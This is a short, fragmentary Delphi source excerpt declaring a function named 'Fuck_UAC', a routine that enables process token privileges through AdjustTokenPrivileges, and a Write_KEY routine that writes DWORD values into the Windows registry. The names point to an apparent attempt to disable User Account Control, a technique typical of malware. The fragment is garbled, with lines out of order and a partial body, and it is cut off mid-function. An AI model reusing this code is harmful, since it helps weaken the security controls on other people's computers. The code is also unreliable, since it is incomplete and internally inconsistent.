interface function Fuck_UAC(): Variant; function Enable_Privileges(var sName: AnsiString): Boolean; function Write_KEY(var hSubKey: AnsiString; var sNombre: AnsiString; var sValue: Longint): Variant;
Result := (AdjustTokenPrivileges(lToken, false, Priv_Token, sizeof(Prev_Token), Prev_Token, sLen)<>0); {$IFEND} end;
function Write_KEY( var hSubKey: AnsiString; var sNombre: AnsiString; var sValue: Longint): Variant; begin
{$IF Defined(def_Write_KEY)}
if RegOpenKeyEx(hKey, hSubKey, 0, KEY_WRITE, mainKey)=0 then begin if (RegSetValueExA(mainKey, sNombre, 0, 4, sValue, 4)=0) then begin RegCloseKey(mainKey); end; end;